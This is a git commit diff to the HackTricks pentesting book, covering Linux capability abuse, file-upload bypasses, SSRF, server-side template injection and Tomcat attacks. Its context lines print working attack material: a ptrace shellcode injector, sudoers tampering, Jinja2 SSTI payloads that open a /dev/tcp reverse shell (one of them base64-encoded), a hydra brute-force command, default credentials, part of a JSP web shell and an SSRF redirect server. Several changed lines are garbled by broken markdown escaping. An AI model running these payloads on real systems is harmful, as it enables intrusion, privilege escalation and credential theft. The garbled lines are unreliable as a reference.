GitBook: [master] 514 pages and 4 assets modified

This commit is contained in:
CPol 2021-09-12 10:36:22 +00:00 committed by gitbook-bot
parent c3f668c566
commit 6feaee0cb0
No known key found for this signature in database
GPG Key ID: 07D2180C7B12D0FF
10 changed files with 78 additions and 60 deletions

View File

Before

Width:  |  Height:  |  Size: 740 KiB

After

Width:  |  Height:  |  Size: 740 KiB

View File

Before

Width:  |  Height:  |  Size: 740 KiB

After

Width:  |  Height:  |  Size: 740 KiB

View File

@ -20,8 +20,8 @@ Here you will find the **typical flow** that **you should follow when pentesting
**Click in the title to start!**
If you want to **know** about my **latest modifications**/**additions** or you have **any suggestion for HackTricks or PEASS**, **join the** [**💬**](https://emojipedia.org/speech-balloon/) ****[**PEASS & HackTricks telegram group here**](https://t.me/peass), or **follow me on Twitter** [🐦](https://emojipedia.org/bird/)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
If you want to **share some tricks with the community** you can also submit **pull requests** to [**https://github.com/carlospolop/hacktricks**](https://github.com/carlospolop/hacktricks) **that will be reflected in this book.
If you want to **know** about my **latest modifications**/**additions** or you have **any suggestion for HackTricks or PEASS**, **join the** [**💬**](https://emojipedia.org/speech-balloon/) **\*\*\[**PEASS & HackTricks telegram group here**\]\(**[https://t.me/peass](https://t.me/peass)**\), or** follow me on Twitter ****[**🐦**](https://emojipedia.org/bird/)**\[**@carlospolopm**\]\(**[https://twitter.com/carlospolopm](https://twitter.com/carlospolopm)**\)**.
**If you want to** share some tricks with the community **you can also submit** pull requests **to \[**[https://github.com/carlospolop/hacktricks\*\*\]\(https://github.com/carlospolop/hacktricks](https://github.com/carlospolop/hacktricks**]%28https://github.com/carlospolop/hacktricks)\) **that will be reflected in this book.
Don't forget to** give ⭐ on the github\*\* to motivate me to continue developing this book.
{% hint style="danger" %}
@ -42,7 +42,6 @@ If you want to **share some tricks with the community** you can also submit **pu
\*\*\*\*[**INE**](https://ine.com/) is a great platform to start learning or **improve** your **IT knowledge** through their huge range of **courses**. I personally like and have completed many from the [**cybersecurity section**](https://ine.com/pages/cybersecurity). **INE** also provides with the official courses to prepare the **certifications** from [**eLearnSecurity**](https://elearnsecurity.com/)**.**
Copyright © Carlos Polop 2020. Except where otherwise specified, the text on [HACK TRICKS](https://github.com/carlospolop/hacktricks) by Carlos Polop is licensed under the [**Commons Clause**](https://commonsclause.com/) \(which allow you to use this content freely WITHOUT commercial use\).
#### **Courses and Certifications reviews**
@ -51,8 +50,6 @@ You can find **my reviews of the certifications eMAPT and eWPTXv2** \(and their
{% page-ref page="courses-and-certifications-reviews/ine-courses-and-elearnsecurity-certifications-reviews.md" %}
\*\*\*\*
**Copyright © Carlos Polop 2021. Except where otherwise specified, the rights of the text on** [**HACKTRICKS**](https://github.com/carlospolop/hacktricks) **by Carlos Polop are reserved.**

View File

@ -286,8 +286,6 @@ Typically, `/dev/mem` is only readable by **root** and **kmem** group.
strings /dev/mem -n10 | grep -i PASS
```
####
#### Tools
To dump a process memory you could use:

View File

@ -57,7 +57,7 @@ capsh --print
**CapAmb**: The _ambient_ capability set applies to all non-SUID binaries without file capabilities. It preserves capabilities when calling `execve`. However, not all capabilities in the ambient set may be preserved because they are being dropped in case they are not present in either the inheritable or permitted capability set. This set is preserved across `execve` calls.
For a detailed explanation of the difference between capabilities in threads and files and how are the capabilities passed to threads read the following pages:
For a detailed explanation of the difference between capabilities in threads and files and how are the capabilities passed to threads read the following pages:
* [https://blog.container-solutions.com/linux-capabilities-why-they-exist-and-how-they-work](https://blog.container-solutions.com/linux-capabilities-why-they-exist-and-how-they-work)
* [https://blog.ploetzli.ch/2014/understanding-linux-capabilities/](https://blog.ploetzli.ch/2014/understanding-linux-capabilities/)
@ -102,11 +102,11 @@ Lets check now the **capabilities** used by `ping`:
```bash
cat /proc/9491/status | grep Cap
CapInh: 0000000000000000
CapPrm: 0000000000003000
CapEff: 0000000000000000
CapBnd: 0000003fffffffff
CapAmb: 0000000000000000
CapInh: 0000000000000000
CapPrm: 0000000000003000
CapEff: 0000000000000000
CapBnd: 0000003fffffffff
CapAmb: 0000000000000000
capsh --decode=0000000000003000
0x0000000000003000=cap_net_admin,cap_net_raw
@ -128,11 +128,11 @@ $ getpcaps 9562
Capabilities for `9562': = cap_net_admin,cap_net_raw+ep
$ cat /proc/9562/status | grep Cap
CapInh: 0000000000000000
CapPrm: 0000000000003000
CapEff: 0000000000003000
CapBnd: 0000003fffffffff
CapAmb: 0000000000000000
CapInh: 0000000000000000
CapPrm: 0000000000003000
CapEff: 0000000000003000
CapBnd: 0000003fffffffff
CapAmb: 0000000000000000
$ capsh --decode=0000000000003000
0x0000000000003000=cap_net_admin,cap_net_raw
@ -519,7 +519,7 @@ class user_regs_struct(ctypes.Structure):
("fs", ctypes.c_ulonglong),
("gs", ctypes.c_ulonglong),
]
libc = ctypes.CDLL("libc.so.6")
pid=int(sys.argv[1])
@ -546,7 +546,7 @@ for i in xrange(0,len(shellcode),4):
shellcode_byte_int=int(shellcode[i:4+i].encode('hex'),16)
shellcode_byte_little_endian=struct.pack("<I", shellcode_byte_int).rstrip('\x00').encode('hex')
shellcode_byte=int(shellcode_byte_little_endian,16)
# Inject the byte.
libc.ptrace(PTRACE_POKETEXT, pid, ctypes.c_void_p(registers.rip+i),shellcode_byte)
@ -744,7 +744,7 @@ And in order to read a file you could do:
print(open("/etc/shadow", "r").read())
```
#### Example with ****Environment \(Docker breakout\)
#### Example with _\*\*_Environment \(Docker breakout\)
You can check the enabled capabilities inside the docker container using:
@ -761,9 +761,9 @@ gid=0(root)
groups=0(root)
```
Inside the previous output you can see that the **DAC\_READ\_SEARCH** capability is enabled. As a result, the container can **debug processes**.
Inside the previous output you can see that the **DAC\_READ\_SEARCH** capability is enabled. As a result, the container can **debug processes**.
You can learn how the following exploiting works in [https://medium.com/@fun\_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3](https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3) but in resume **CAP\_DAC\_READ\_SEARCH** not only allows us to traverse the file system without permission checks, but also explicitly removes any checks to _**open\_by\_handle\_at\(2\)**_ and **could allow our process to sensitive files opened by other processes**.
You can learn how the following exploiting works in [https://medium.com/@fun\_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3](https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3) but in resume **CAP\_DAC\_READ\_SEARCH** not only allows us to traverse the file system without permission checks, but also explicitly removes any checks to _**open\_by\_handle\_at\(2\)**_ and **could allow our process to sensitive files opened by other processes**.
The original exploit that abuse this permissions to read files from the host can be found here: [http://stealth.openwall.net/xSports/shocker.c](http://stealth.openwall.net/xSports/shocker.c), the following is a **modified version that allows you to indicate the file you want to read as first argument and dump it in a file.**
@ -945,7 +945,7 @@ In this example **`python`** binary will have this capability. You could use pyt
```python
file=open("/etc/sudoers","a")
file.write("yourusername ALL=(ALL) NOPASSWD:ALL")
file.close()
file.close()
```
#### Example with environment + CAP\_DAC\_READ\_SEARCH \(Docker breakout\)
@ -1336,17 +1336,17 @@ while True:
dst_port=tcp_header[0]
src_port=tcp_header[1]
flag=" FLAGS: "+getFlag(tcp_header[4])
elif(proto==17):
protocol="UDP"
udp_header_packed_ports = frame[ 14 + ip_header_size : 18 + ip_header_size]
udp_header_ports=struct.unpack("!HH",udp_header_packed_ports)
dst_port=udp_header[0]
src_port=udp_header[1]
if (proto == 17 or proto == 6):
print("Packet: " + str(count) + " Protocol: " + protocol + " Destination Port: " + str(dst_port) + " Source Port: " + str(src_port) + flag)
count=count+1
count=count+1
```
### CAP\_NET\_ADMIN + CAP\_NET\_RAW
@ -1362,7 +1362,7 @@ Lets suppose that the **python binary** has these capabilities.
import iptc
import pprint
json=iptc.easy.dump_table('filter',ipv6=False)
pprint.pprint(json)
pprint.pprint(json)
#Flush iptables filter table
import iptc
@ -1394,7 +1394,7 @@ FS_IOC_SETFLAGS = 0x40086602
fd = os.open('/path/to/file.sh', os.O_RDONLY)
f = struct.pack('i', FS_APPEND_FL)
fcntl.ioctl(fd, FS_IOC_SETFLAGS, f)
fcntl.ioctl(fd, FS_IOC_SETFLAGS, f)
f=open("/path/to/file.sh",'a+')
f.write('New content for the file\n')

View File

@ -128,7 +128,7 @@ The response is a JSON dictionary with some important data like:
* Signed using the **device identity certificate \(from APNS\)**
* **Certificate chain** includes expired **Apple iPhone Device CA**
![](../../../.gitbook/assets/image%20%28567%29%20%281%29%20%282%29%20%282%29%20%282%29.png)
![](../../../.gitbook/assets/image%20%28567%29%20%281%29%20%282%29%20%282%29%20%282%29%20%282%29.png)
### Step 6: Profile Installation

View File

@ -50,17 +50,18 @@ Other useful extensions:
6. Try to put the **exec extension before the valid extension** and pray so the server is misconfigured. **\*\*\(useful to exploit Apache misconfigurations where anything with extension** _**.php**_**, but** not necessarily ending in .php\*\* will execute code\):
* _ex: file.php.png_
7. Using **NTFS alternate data stream \(ADS\)** in **Windows**. In this case, a colon character “:” will be inserted after a forbidden extension and before a permitted one. As a result, an **empty file with the forbidden extension** will be created on the server \(e.g. “file.asax:.jpg”\). This file might be edited later using other techniques such as using its short filename. The “**::$data**” pattern can also be used to create non-empty files. Therefore, adding a dot character after this pattern might also be useful to bypass further restrictions \(.e.g. “file.asp::$data.”\)
8. Try to break the filename limits. The valid extension gets cut off. And the malicious PHP gets left. AAA<--SNIP-->AAA.php
```
# Linux maximum 255 bytes
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
# Upload the file and check response how many characters it alllows. Let's say 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# Make the payload
AAA<--SNIP 232 A-->AAA.php.png
```
8. Try to break the filename limits. The valid extension gets cut off. And the malicious PHP gets left. AAA&lt;--SNIP--&gt;AAA.php
```text
# Linux maximum 255 bytes
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
# Upload the file and check response how many characters it alllows. Let's say 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# Make the payload
AAA<--SNIP 232 A-->AAA.php.png
```
### Bypass Content-Type & magic number
@ -140,7 +141,7 @@ Note that **another option** you may be thinking of to bypass this check is to m
* If you can **indicate the web server to catch an image from a URL** you could try to abuse a [SSRF](../ssrf-server-side-request-forgery.md). If this **image** is going to be **saved** in some **public** site, you could also indicate a URL from [https://iplogger.org/invisible/](https://iplogger.org/invisible/) and **steal information of every visitor**.
* [**XXE and CORS** bypass with PDF-Adobe upload](pdf-upload-xxe-and-cors-bypass.md)
* Specially crafted PDFs to XSS: The [following page present how to **inject PDF data to obtain JS execution**](../xss-cross-site-scripting/pdf-injection.md). If you can upload PDFs you could prepare some PDF that will execute arbitrary JS following the given indications.
* Upload the ****[**eicar**](https://secure.eicar.org/eicar.com.txt) content to check if the server has any **antivirus**
* Upload the **\*\*\[**eicar**\]\(**[https://secure.eicar.org/eicar.com.txt](https://secure.eicar.org/eicar.com.txt)**\) content to check if the server has any** antivirus\*\*
* Check if there is any **size limit** uploading files
Heres a top 10 list of things that you can achieve by uploading \(from [link](https://twitter.com/SalahHasoneh1/status/1281274120395685889)\):
@ -158,14 +159,14 @@ Heres a top 10 list of things that you can achieve by uploading \(from [link]
### Burp Extension
{% embed url="https://github.com/portswigger/upload-scanner" %}
{% embed url="https://github.com/portswigger/upload-scanner" caption="" %}
## Magic Header Bytes
* **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["`
* **JPG**: `"\xff\xd8\xff"`
Refer to [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) for other filetypes.
Refer to [https://en.wikipedia.org/wiki/List\_of\_file\_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) for other filetypes.
## Zip File Automatically decompressed Upload

View File

@ -130,6 +130,27 @@ It might be possible that the server is **filtering the original request** of a
For example, a server vulnerable to SSRF via: `url=https://www.google.com/` might be **filtering the url param**. But if you uses a [python server to respond with a 302](https://pastebin.com/raw/ywAUhFrv) to the place where you want to redirect, you might be able to **access filtered IP addresses** like 127.0.0.1 or even filtered **protocols** like gopher.
[Check out this report.](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530)
```python
#!/usr/bin/env python3
#python3 ./redirector.py 8000 http://127.0.0.1/
import sys
from http.server import HTTPServer, BaseHTTPRequestHandler
if len(sys.argv)-1 != 2:
print("Usage: {} <port_number> <url>".format(sys.argv[0]))
sys.exit()
class Redirect(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(302)
self.send_header('Location', sys.argv[2])
self.end_headers()
HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()
```
### Bypass via open redirect
If the server is correctly protected you could **bypass all the restrictions by exploiting an Open Redirect inside the web page**. Because the webpage will allow **SSRF to the same domain** and probably will **follow redirects**, you can exploit the **Open Redirect to make the server to access internal any resource**.

View File

@ -343,7 +343,7 @@ Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstanc
* `${{7*7}}` - 49
* `${{request}}, ${{session}}, {{faceContext}}`
EL provides an important mechanism for enabling the presentation layer \(web pages\) to communicate with the application logic \(managed beans\). The EL is used by **several JavaEE technologies**, such as JavaServer Faces technology, JavaServer Pages \(JSP\) technology, and Contexts and Dependency Injection for Java EE \(CDI\).
EL provides an important mechanism for enabling the presentation layer \(web pages\) to communicate with the application logic \(managed beans\). The EL is used by **several JavaEE technologies**, such as JavaServer Faces technology, JavaServer Pages \(JSP\) technology, and Contexts and Dependency Injection for Java EE \(CDI\).
Check the following page to learn more about the **exploitation of EL interpreters**:
{% page-ref page="el-expression-language.md" %}
@ -435,9 +435,9 @@ Path Traversal \(more info [here](https://blog.shoebpatel.com/2021/01/23/The-Sec
curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
```
* = Error
* = Error
* ${7\*7} = ${7\*7}
* Nothing
* Nothing
```java
{{#with "s" as |string|}}
@ -475,9 +475,9 @@ wrtz%7b%7b%23%77%69%74%68%20%22%73%22%20%61%73%20%7c%73%74%72%69%6e%67%7c%7d%7d%
| | Evaluate and render output |
| | Evaluate and render HTML encoded output |
| | Comment |
| and | Allow code \(disabled by default\) |
| and | Allow code \(disabled by default\) |
* = 49
* = 49
#### Client Side
@ -605,7 +605,9 @@ Check out the following page to learn tricks about **arbitrary command execution
#### Jinja2 - Debug Statement
If the Debug Extension is enabled, a `{% debug %}` tag will be available to dump the current context as well as the available filters and tests. This is useful to see whats available to use in the template without setting up a debugger.
If the Debug Extension is enabled, a \`
\` tag will be available to dump the current context as well as the available filters and tests. This is useful to see whats available to use in the template without setting up a debugger.
```python
<pre>{% debug %}</pre>
@ -675,7 +677,7 @@ Simply modification of payload to clean up output and facilitate command input \
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}
```
**Exploit SSTI without "{{" and "}}"**
**Exploit SSTI without ""**
```python
{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("echo -n YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzkwMDEgMD4mMQ== | base64 -d | bash")["read"]() %} a {% endwith %}
@ -691,7 +693,7 @@ Simply modification of payload to clean up output and facilitate command input \
{{ config.from_pyfile('/tmp/evilconfig.cfg') }}
# connect to evil host
{{ config['RUNCMD']('/bin/bash -c "/bin/bash -i >& /dev/tcp/x.x.x.x/8000 0>&1"',shell=True) }}
{{ config['RUNCMD']('/bin/bash -c "/bin/bash -i >& /dev/tcp/x.x.x.x/8000 0>&1"',shell=True) }}
```
#### Jinja2 - Filter bypass
@ -798,11 +800,11 @@ If you think it could be useful, read:
## Tools
{% embed url="https://github.com/epinna/tplmap" %}
{% embed url="https://github.com/epinna/tplmap" caption="" %}
## Brute-Force Detection List
{% embed url="https://github.com/carlospolop/Auto\_Wordlists/blob/main/wordlists/ssti.txt" %}
{% embed url="https://github.com/carlospolop/Auto\_Wordlists/blob/main/wordlists/ssti.txt" caption="" %}
## Practice

View File

@ -4,7 +4,7 @@ It usually runs on **port 8080**
## Avoid to run with root
In order to not run Tomcat with root a very common configuration is to set an Apache server in port 80/443 and, if the requested path matches a regexp, the request is sent to Tomcat running on a different port.
In order to not run Tomcat with root a very common configuration is to set an Apache server in port 80/443 and, if the requested path matches a regexp, the request is sent to Tomcat running on a different port.
## Username Enum
@ -16,7 +16,7 @@ msf> use auxiliary/scanner/http/tomcat_enum
## Default credentials
The most interesting path of Tomcat is _**/manager/html**_, inside that **path you can upload and deploy war files** \(execute code\). But this path is protected by basic HTTP auth, the most common credentials are:
The most interesting path of Tomcat is _**/manager/html**_, inside that **path you can upload and deploy war files** \(execute code\). But this path is protected by basic HTTP auth, the most common credentials are:
* admin:admin
* tomcat:tomcat
@ -45,7 +45,7 @@ hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 1
### Double URL encode
A well-known vulnerability _to_ access the application manager __ is mod\_jk in CVE-2007-1860, that allows **Double URL encode path traversal.**
A well-known vulnerability _to_ access the application manager \_\_ is mod\_jk in CVE-2007-1860, that allows **Double URL encode path traversal.**
In order to access to the management web of the Tomcat go to: _pathTomcat/%252E%252E/manager/html_
@ -118,7 +118,7 @@ Then, upload the revshell.war file and access to it \(_/revshell/_\)
### Bind and reverse shell with [tomcatWarDeployer.py](https://github.com/mgeeky/tomcatWarDeployer)
In some scenarios this doesn't work \(for example old versions of sun\)
In some scenarios this doesn't work \(for example old versions of sun\)
#### Download
@ -168,7 +168,6 @@ InputStreamReader(p.getInputStream()));
}
%>
<pre><%=output %></pre>
```
```bash
@ -183,7 +182,7 @@ You could also install this \(allows upload, download and command execution\): [
## POST
Name of Tomcat credentials file is _tomcat-users.xml_
Name of Tomcat credentials file is _tomcat-users.xml_
```bash
find / -name tomcat-users.xml 2>/dev/null